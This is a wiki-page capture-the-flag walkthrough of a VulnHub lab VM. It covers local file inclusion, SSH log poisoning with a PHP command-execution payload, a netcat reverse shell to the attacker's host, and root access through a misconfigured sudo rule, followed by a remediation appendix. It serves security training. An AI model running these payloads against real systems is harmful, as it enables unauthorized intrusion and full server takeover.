Difference between revisions of "The Ether: EvilScience (v1.0.1) - Walkthrough"

(→‎Exploitation)
(→‎Exploitation)
 
(18 intermediate revisions by the same user not shown)
Line 10: Line 10:
 
=== Discovery ===
 
=== Discovery ===
 
<syntaxhighlight lang="shell-session" highlight="6,7" line>
 
<syntaxhighlight lang="shell-session" highlight="6,7" line>
−
root@kali:# Nmap 7.60 scan initiated Tue Apr 24 07:34:52 2018 as: nmap -O -p- -sT -sV -T5 -o nmap.txt 192.168.56.101
+
root@kali:# Nmap 7.60 scan initiated Tue Apr 24 07:34:52 2018 as: nmap -O -p- -sT -sV -T5 -o nmap.txt 192.168.56.106
−
Nmap scan report for 192.168.56.101
+
Nmap scan report for 192.168.56.106
 
Host is up (0.0012s latency).
 
Host is up (0.0012s latency).
 
Not shown: 65533 closed ports
 
Not shown: 65533 closed ports
Line 34: Line 34:
  
 
Assessing if the file include functionality expecting specific files or is it open to path modification
 
Assessing if the file include functionality expecting specific files or is it open to path modification
−
<syntaxhighlight lang="shell-session" highlight="2,6" line>
+
<syntaxhighlight lang="shell-session" highlight="1,2,5,6" line>
 
root@kali:# curl -s http://192.168.56.102/?file=research.php |grep "What was the Human Genome"
 
root@kali:# curl -s http://192.168.56.102/?file=research.php |grep "What was the Human Genome"
 
       <h4>What was the Human Genome Project?</h4>
 
       <h4>What was the Human Genome Project?</h4>
Line 50: Line 50:
  
 
Nope :(
 
Nope :(
 +
 +
How about something other than /etc?
 +
 +
<syntaxhighlight lang="shell-session" highlight="3" line>
 +
root@kali:# curl -v -s -G --data-urlencode file=/sbin/ifconfig -o lfi.txt http://192.168.56.102
 +
root@kali:# strings lfi.txt |grep ifconfig
 +
  ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]
 +
ifconfig: option `%s' not recognised.
 +
ifconfig: `--help' gives usage information.
 +
ifconfig: Error resolving '%s' for broadcast
 +
ifconfig: Error resolving '%s' for dstaddr
 +
</syntaxhighlight>
 +
 +
How about logs area?
 +
<syntaxhighlight lang="shell-session" highlight="2" line>
 +
root@kali:# curl -v -s -G --data-urlencode file=/var/log/lastlog -o lfi.txt http://192.168.56.102
 +
root@kali:# strings lfi.txt |head -5
 +
Ztty1
 +
Ztty1
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="shell-session" highlight="2" line>
 +
root@kali:# curl -v -s -G --data-urlencode file=/var/log/auth.log http://192.168.56.102 |less
 +
May  4 06:48:09 theEther sshd[1939]: pam_unix(sshd:auth): check pass; user unknown
 +
May  4 06:48:10 theEther sshd[1939]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.200
 +
May  4 06:48:11 theEther sshd[1939]: Failed password for invalid user
 +
</syntaxhighlight>
 +
Perfect! We can include /var/log/auth.log (which, by the way, reflects my failed ssh logins).
 +
 +
Time for some good old SSH Poisoning technique.
 +
 +
A word of caution - you can inject many fun commands via <? system(..) ?> call but beware that one mishap will render your auth.log unusable (think broken PHP). While this is something that can be easily fixed in your lab environment - just revert your VM to the last Snapshot, in real world pentesting scenario you'll lose a valuable point of entry!
 +
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
root@kali:# ssh '<? system($_GET['cmd']); ?>'@192.168.56.106
 +
'<? system($_GET['cmd']); ?>'@192.168.56.106's password:
 +
<Ctrl>-C
 +
</syntaxhighlight>
 +
 +
Now let's try including ''auth.log'' again, this time passing an arbitrary command to it
 +
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
# curl -v -s -G --data-urlencode file=/var/log/auth.log --data-urlencode cmd="ls -altr /var/tmp" http://192.168.56.106 |less
 +
....
 +
drwxr-xr-x 23 root root 4.0K Nov 22 19:28 ..
 +
drwxrwxrwt  2 root root 4.0K May  4 05:01 VMwareDnD
 +
drwxrwxrwt  2 root root 4.0K May  4 05:01 .font-unix
 +
drwxrwxrwt  2 root root 4.0K May  4 05:01 .XIM-unix
 +
drwxrwxrwt  2 root root 4.0K May  4 05:01 .X11-unix
 +
drwxrwxrwt  2 root root 4.0K May  4 05:01 .Test-unix
 +
drwxrwxrwt  2 root root 4.0K May  4 05:01 .ICE-unix
 +
drwx------  3 root root 4.0K May  4 05:01 systemd-private-3d5770dbd5104a3c9698f04d0c7e41c3-systemd-timesyncd.service-hu1BO3
 +
drwxrwxrwt  9 root root 4.0K May  4 14:39 .
 +
....
 +
</syntaxhighlight>
 +
 +
Ok! Time for real deal - let's get a reverse shell up and running!
 +
 +
Window #1:
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
root@kali:# nc -lt -p 4444
 +
</syntaxhighlight>
 +
 +
Window #2:
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
root@kali:# curl -v -s -G --data-urlencode file=/var/log/auth.log --data-urlencode cmd="rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.200 4444 >/tmp/backpipe" http://192.168.56.106
 +
</syntaxhighlight>
 +
 +
Window #1: You should now get a shell
 +
<syntaxhighlight lang="shell-session" highlight="1,3" line>
 +
root@kali:# nc -lt -p 4444
 +
/bin/sh: 0: can't access tty; job control turned off
 +
$
 +
$ ls
 +
about.php
 +
images
 +
index.php
 +
layout
 +
licence.txt
 +
research.php
 +
xxxlogauditorxxx.py
 +
$ pwd
 +
/var/www/html/theEther.com/public_html
 +
$ hostname
 +
theEther
 +
$ clear
 +
TERM environment variable not set.
 +
$ whoami
 +
www-data
 +
</syntaxhighlight>
 +
 +
Let's update it to interactive shell
 +
<syntaxhighlight lang="shell-session" highlight="1,2" line>
 +
$ python -c 'import pty; pty.spawn("/bin/bash")'
 +
bash-4.3
 +
</syntaxhighlight>
 +
 +
Time to explore further.
 +
 +
<syntaxhighlight lang="shell-session" highlight="8,9" line>
 +
bash-4.3$ sudo -l
 +
sudo: unable to resolve host theEther: Connection refused
 +
Matching Defaults entries for www-data on theEther:
 +
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 +
 +
User www-data may run the following commands on theEther:
 +
    (ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
 +
    (root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
 +
</syntaxhighlight>
 +
 +
Yei! We can haz r00t! And let me show you how!
 +
 +
By the way, mixed feelings at this point. Part of me is happy about the find yet part of me is sad the hunt is over (or is it? Let's see!)
 +
 +
<syntaxhighlight lang="shell-session" highlight="4,8,9" line>
 +
bash-4.3$ cp /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py /var/www/html/theEther.com/public_html/xxxlogauditorxxx.bak.py
 +
bash-4.3$ cp /bin/bash /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
 +
...
 +
bash-4.3$ sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
 +
sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
 +
sudo: unable to resolve host theEther: Connection refused
 +
root@theEther:/var/www/html/theEther.com/public_html# whoami
 +
whoami
 +
root
 +
</syntaxhighlight>
 +
 +
And here is the flag! Let's copy it to the webserver so we can view the PNG in the browser
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
root@theEther:# cp /root/flag.png /var/www/html/theEther.com/public_html/
 +
</syntaxhighlight>
 +
 +
"Sorry this is not the flag, but what you are looking for is near. Look within yourself to find the answer you seek"
 +
 +
Hmmm... Look within we shell!
 +
<>
 +
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
root@theEther:# strings flag.png
 +
...
 +
...
 +
...
 +
flag: b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBpbmplY3Rpb24sIHRoZSBodW1hbiBzcGVjaW1lbiBhcHBlYXJzIHN5bXB0b21hdGljLCBleGhpYml0aW5nIGRlbWVudGlhLCBoYWxsdWNpbmF0aW9ucywgc3dlYXRpbmcsIGZvYW1pbmcgb2YgdGhlIG1vdXRoLCBhbmQgcmFwaWQgZ3Jvd3RoIG9mIGNhbmluZSB0ZWV0aCBhbmQgbmFpbHMuCgpPY3RvYmVyIDQsIDIwMTcuCk9ic2VydmluZyBvdGhlciBjYW5kaWRhdGVzIHJlYWN0IHRvIHRoZSBpbmplY3Rpb25zLiBUaGUgZXRoZXIgc2VlbXMgdG8gd29yayBmb3Igc29tZSBidXQgbm90IGZvciBvdGhlcnMuIEtlZXBpbmcgY2xvc2Ugb2JzZXJ2YXRpb24gb24gZmVtYWxlIHNwZWNpbWVuIG9uIE9jdG9iZXIgM3JkLgoKT2N0b2....
 +
</syntaxhighlight>
 +
 +
Looks like base64 to me.
 +
 +
<syntaxhighlight lang="shell-session" highlight="1" line>
 +
echo "b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBp....." | base64 -d
 +
 +
 +
october 1, 2017.
 +
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!
 +
 +
October 3, 2017.
 +
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.
 +
 +
October 3, 2017.
 +
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.
 +
</syntaxhighlight>
 +
 +
== Final Notes ==
 +
This one turned out to be much simpler than expected. Lessons learned:
 +
 +
* Go wide before going deep. Make sure you don't miss something like file include before you spend hours dirbusting with various lists
 +
* Practice your injection on a different host to which you have access before you inject something into your target. I had to restore the VM 2x after messing up auth.log badly it wont load anymore.
 +
* Try replacing/redirection/rewriting/env vars before modifying/debugging. Got excited finding ''xxxauditogsxxx.py, spend an hour trying to figure out what it does but at the end all I needed to do to drop into root shell was to replace the script with bash binary.
  
 
== Appendix A: Vulnerability Detail and Mitigation ==
 
== Appendix A: Vulnerability Detail and Mitigation ==
 
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
−
|+ style="color:#e76700;text-align:left;" | Weak passwords
+
|+ style="color:#e76700;text-align:left;" | Unchecked LFI
 
|-
 
|-
 
|style="width:120px;" |Rating
 
|style="width:120px;" |Rating
Line 59: Line 225:
 
|-
 
|-
 
|Description
 
|Description
−
|The password for WordPress admin account is the same as username (admin:admin)
+
|The website hosted on the target server is designed to load various component using php file include functionality. Due to lack of checks to verify whether the files being loaded come from the allowed path an arbitrary file can be included and loaded as part of the website content. 
 
|-
 
|-
 
|Impact
 
|Impact
−
|These types of passwords are very easy to guess
+
|An attacker may utilize this vulnerability to ex-filtrate data/config or to inject arbitrary piece of code which, upon execution, may be used to run a system command.
 
|-
 
|-
 
|Remediation
 
|Remediation
−
|Enforce stronger password policies. A strong password should be at least 8 characters, should not contain any personal information, including user id, it should not contain any words spelled correctly and it should contain numbers, letters, and special characters.
+
|Maintain a white list of files permitted to be included. Reference these files by index number. If no file exists for specified index, throw an error.  
 
|}
 
|}
  
 
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
−
|+ style="color:#e76700;text-align:left;" | Password Reuse
+
|+ style="color:#e76700;text-align:left;" | Improperly configured sudo roles
 
|-
 
|-
 
|style="width:120px;" |Rating
 
|style="width:120px;" |Rating
Line 75: Line 241:
 
|-
 
|-
 
|Description
 
|Description
−
|User 'unclestinky" was found to reuse the same password between mysql and system logins.  
+
|Improperly designed sudo rules allowed www-data to execute xxxauditlogsxxx.py as root. Since that script is owned by www-data, replacing it with /bin/bash allowed us to drop into root shell.
 
|-
 
|-
 
|Impact
 
|Impact
−
|Password reuse is a practice which should be highly discouraged and prevented to the extent possible as it potentially allows an increase in attack surface. In this case, the impact is amplified by the fact that an attacker who was able to extract user credentials from mysql database would be able to reuse said credentials to gain access to user's system account.  
+
|Enabling a regular, unauthenticated user to gain access to the root shell.
 
|-
 
|-
 
|Remediation
 
|Remediation
−
|Policies need to be put in place to enforce the use of unique passwords. The use of password managers should be encouraged to aid users in  utilizing unique passwords across various systems.   
+
|Do not allow executing user-owned scripts as root. Lock the access down preventing users from altering scripts/executables which they are allowed to execute through sudo.   
 
|}
 
|}
  
 
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
−
|+ style="color:#e76700;text-align:left;" | Patch Management
+
|+ style="color:#e76700;text-align:left;" | Improperly configured sudo roles (cont)
 
|-
 
|-
 
|style="width:120px;" |Rating
 
|style="width:120px;" |Rating
Line 91: Line 257:
 
|-
 
|-
 
|Description
 
|Description
−
|Website contains a number of plug-ins with known vulnerabilities.
+
|The owner of httpd process - www-data - is configured with a sudo role which allows this account to execute commands as root.
−
|-
 
−
|Impact
 
−
|A combination of unpatched components and weak authentication allows an attacker to upload arbitrary scripts and files to the system which can be then loaded via the website allowing an attacker to execute arbitrary commands to escalate access, exfil data, or otherwise damage the system.
 
−
|-
 
−
|Remediation
 
−
|All assets should be kept current with latest patches and updates. This can be achieved with native tools (e.g. built-in auto-update functionality) or third party applications. 
 
−
|}
 
−
 
 
−
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 
−
|+ style="color:#e76700;text-align:left;" | Access Escalation
 
−
|-
 
−
|style="width:120px;" |Rating
 
−
|style="color:red;" | High
 
−
|-
 
−
|Description
 
−
|'sudo' is improperly configured for 'mrderp' account
 
−
|-
 
−
|Impact
 
−
|An attacker who manages to compromise this account will be able to execute arbitrary commands with 'root' access. 
 
−
|-
 
−
|Remediation
 
−
|Do not allow executing commands as 'root' which are located in user home directory or any location where these can be modified by a non-root user.
 
−
|}
 
−
 
 
−
{| class="wikitable" style="background-color:#cccccc;color:black;font-size:0.9em;width:80%;"
 
−
|+ style="color:#e76700;text-align:left;" | Default Install Locations
 
−
|-
 
−
|style="width:120px;" |Rating
 
−
|style="color:red;" | Low
 
−
|-
 
−
|Description
 
−
|PHPMyAdmin was discovered at the default install path
 
 
|-
 
|-
 
|Impact
 
|Impact
−
|Using default path/locations makes it easier for attackers to locate components 
+
|This will allow an attacker to execute privileged arbitrary code on the server.
 
|-
 
|-
 
|Remediation
 
|Remediation
−
|Use non-standard naming convention where possible.  
+
|Accounts such as www-data which are used to run web server processes should have a limited access to the system, which includes lack of ability to execute scripts as other, privileged users. All sudo roles should be transferred from www-data to a regular account which would require additional authentication steps before executing these commands.  
 
|}
 
|}
  
 
If you have any questions feel free to hit me up on twitter @blaksec
 
If you have any questions feel free to hit me up on twitter @blaksec

Latest revision as of 09:51, 11 May 2018

Objective

The goal is to find out what The Ether is up to. You will be required to break into their server, root the machine, and retrieve the flag. The flag will contain more information about The Ether’s ominous operations regarding this medicine.

Source: [VulnHub.com]

Status: [Completed]

Methodology

Discovery

root@kali:# Nmap 7.60 scan initiated Tue Apr 24 07:34:52 2018 as: nmap -O -p- -sT -sV -T5 -o nmap.txt 192.168.56.106
Nmap scan report for 192.168.56.106
Host is up (0.0012s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:36:82:0F (Oracle VirtualBox virtual NIC)


Entry Point #1 - Port 80 (HTTP)

Enumeration

Nothing interesting turned up for nikto scan.

Nothing interesting turned up after performing dirb with directory-list-1.0.txt list.

Checking out the website source revealed a LFI opportunity so let's focus on that for now

Exploitation

Assessing if the file include functionality expecting specific files or is it open to path modification 

root@kali:# curl -s http://192.168.56.102/?file=research.php |grep "What was the Human Genome"
      <h4>What was the Human Genome Project?</h4>
      <h4>What was the Human Genome Project?</h4>

root@kali:# curl -s http://192.168.56.102/?file=../public_html/research.php |grep "What was the Human Genome"
      <h4>What was the Human Genome Project?</h4>
      <h4>What was the Human Genome Project?</h4>

Pass traversal works so at least the app does not have any sort of checks for specific file names. But is it true for any files? 

root@kali:# curl -s http://192.168.56.102/?file=/etc/passwd |grep root

Nope :(

How about something other than /etc? 

root@kali:# curl -v -s -G --data-urlencode file=/sbin/ifconfig -o lfi.txt http://192.168.56.102
root@kali:# strings lfi.txt |grep ifconfig
  ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]
ifconfig: option `%s' not recognised.
ifconfig: `--help' gives usage information.
ifconfig: Error resolving '%s' for broadcast
ifconfig: Error resolving '%s' for dstaddr

How about logs area? 

root@kali:# curl -v -s -G --data-urlencode file=/var/log/lastlog -o lfi.txt http://192.168.56.102
root@kali:# strings lfi.txt |head -5
Ztty1
Ztty1
root@kali:# curl -v -s -G --data-urlencode file=/var/log/auth.log http://192.168.56.102 |less
May  4 06:48:09 theEther sshd[1939]: pam_unix(sshd:auth): check pass; user unknown
May  4 06:48:10 theEther sshd[1939]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.200
May  4 06:48:11 theEther sshd[1939]: Failed password for invalid user

Perfect! We can include /var/log/auth.log (which, by the way, reflects my failed ssh logins).

Time for some good old SSH Poisoning technique.

A word of caution - you can inject many fun commands via <? system(..) ?> call but beware that one mishap will render your auth.log unusable (think broken PHP). While this is something that can be easily fixed in your lab environment - just revert your VM to the last Snapshot, in real world pentesting scenario you'll lose a valuable point of entry! 

root@kali:# ssh '<? system($_GET['cmd']); ?>'@192.168.56.106
'<? system($_GET['cmd']); ?>'@192.168.56.106's password:
<Ctrl>-C

Now let's try including auth.log again, this time passing an arbitrary command to it 

# curl -v -s -G --data-urlencode file=/var/log/auth.log --data-urlencode cmd="ls -altr /var/tmp" http://192.168.56.106 |less
....
drwxr-xr-x 23 root root 4.0K Nov 22 19:28 ..
drwxrwxrwt  2 root root 4.0K May  4 05:01 VMwareDnD
drwxrwxrwt  2 root root 4.0K May  4 05:01 .font-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .XIM-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .X11-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .Test-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .ICE-unix
drwx------  3 root root 4.0K May  4 05:01 systemd-private-3d5770dbd5104a3c9698f04d0c7e41c3-systemd-timesyncd.service-hu1BO3
drwxrwxrwt  9 root root 4.0K May  4 14:39 .
....

Ok! Time for real deal - let's get a reverse shell up and running!

Window #1: 

root@kali:# nc -lt -p 4444

Window #2: 

root@kali:# curl -v -s -G --data-urlencode file=/var/log/auth.log --data-urlencode cmd="rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.200 4444 >/tmp/backpipe" http://192.168.56.106

Window #1: You should now get a shell 

root@kali:# nc -lt -p 4444
/bin/sh: 0: can't access tty; job control turned off
$
$ ls
about.php
images
index.php
layout
licence.txt
research.php
xxxlogauditorxxx.py
$ pwd
/var/www/html/theEther.com/public_html
$ hostname
theEther
$ clear
TERM environment variable not set.
$ whoami
www-data

Let's update it to interactive shell 

$ python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.3

Time to explore further. 

bash-4.3$ sudo -l
sudo: unable to resolve host theEther: Connection refused
Matching Defaults entries for www-data on theEther:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on theEther:
    (ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
    (root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py

Yei! We can haz r00t! And let me show you how!

By the way, mixed feelings at this point. Part of me is happy about the find yet part of me is sad the hunt is over (or is it? Let's see!) 

bash-4.3$ cp /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py /var/www/html/theEther.com/public_html/xxxlogauditorxxx.bak.py
bash-4.3$ cp /bin/bash /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
...
bash-4.3$ sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
sudo: unable to resolve host theEther: Connection refused
root@theEther:/var/www/html/theEther.com/public_html# whoami
whoami
root

And here is the flag! Let's copy it to the webserver so we can view the PNG in the browser 

root@theEther:# cp /root/flag.png /var/www/html/theEther.com/public_html/

"Sorry this is not the flag, but what you are looking for is near. Look within yourself to find the answer you seek"

Hmmm... Look within we shell! <> 

root@theEther:# strings flag.png
...
...
...
flag: b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBpbmplY3Rpb24sIHRoZSBodW1hbiBzcGVjaW1lbiBhcHBlYXJzIHN5bXB0b21hdGljLCBleGhpYml0aW5nIGRlbWVudGlhLCBoYWxsdWNpbmF0aW9ucywgc3dlYXRpbmcsIGZvYW1pbmcgb2YgdGhlIG1vdXRoLCBhbmQgcmFwaWQgZ3Jvd3RoIG9mIGNhbmluZSB0ZWV0aCBhbmQgbmFpbHMuCgpPY3RvYmVyIDQsIDIwMTcuCk9ic2VydmluZyBvdGhlciBjYW5kaWRhdGVzIHJlYWN0IHRvIHRoZSBpbmplY3Rpb25zLiBUaGUgZXRoZXIgc2VlbXMgdG8gd29yayBmb3Igc29tZSBidXQgbm90IGZvciBvdGhlcnMuIEtlZXBpbmcgY2xvc2Ugb2JzZXJ2YXRpb24gb24gZmVtYWxlIHNwZWNpbWVuIG9uIE9jdG9iZXIgM3JkLgoKT2N0b2....

Looks like base64 to me. 

echo "b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBp....." | base64 -d


october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!

October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.

October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.

Final Notes

This one turned out to be much simpler than expected. Lessons learned:

  • Go wide before going deep. Make sure you don't miss something like file include before you spend hours dirbusting with various lists
  • Practice your injection on a different host to which you have access before you inject something into your target. I had to restore the VM 2x after messing up auth.log badly it wont load anymore.
  • Try replacing/redirection/rewriting/env vars before modifying/debugging. Got excited finding xxxauditogsxxx.py, spend an hour trying to figure out what it does but at the end all I needed to do to drop into root shell was to replace the script with bash binary.

Appendix A: Vulnerability Detail and Mitigation

Unchecked LFI
Rating High
Description The website hosted on the target server is designed to load various component using php file include functionality. Due to lack of checks to verify whether the files being loaded come from the allowed path an arbitrary file can be included and loaded as part of the website content.
Impact An attacker may utilize this vulnerability to ex-filtrate data/config or to inject arbitrary piece of code which, upon execution, may be used to run a system command.
Remediation Maintain a white list of files permitted to be included. Reference these files by index number. If no file exists for specified index, throw an error.
Improperly configured sudo roles
Rating High
Description Improperly designed sudo rules allowed www-data to execute xxxauditlogsxxx.py as root. Since that script is owned by www-data, replacing it with /bin/bash allowed us to drop into root shell.
Impact Enabling a regular, unauthenticated user to gain access to the root shell.
Remediation Do not allow executing user-owned scripts as root. Lock the access down preventing users from altering scripts/executables which they are allowed to execute through sudo.
Improperly configured sudo roles (cont)
Rating High
Description The owner of httpd process - www-data - is configured with a sudo role which allows this account to execute commands as root.
Impact This will allow an attacker to execute privileged arbitrary code on the server.
Remediation Accounts such as www-data which are used to run web server processes should have a limited access to the system, which includes lack of ability to execute scripts as other, privileged users. All sudo roles should be transferred from www-data to a regular account which would require additional authentication steps before executing these commands.

If you have any questions feel free to hit me up on twitter @blaksec

Retrieved from "https://blaksec.com/index.php?title=The_Ether:_EvilScience_(v1.0.1)_-_Walkthrough&oldid=247"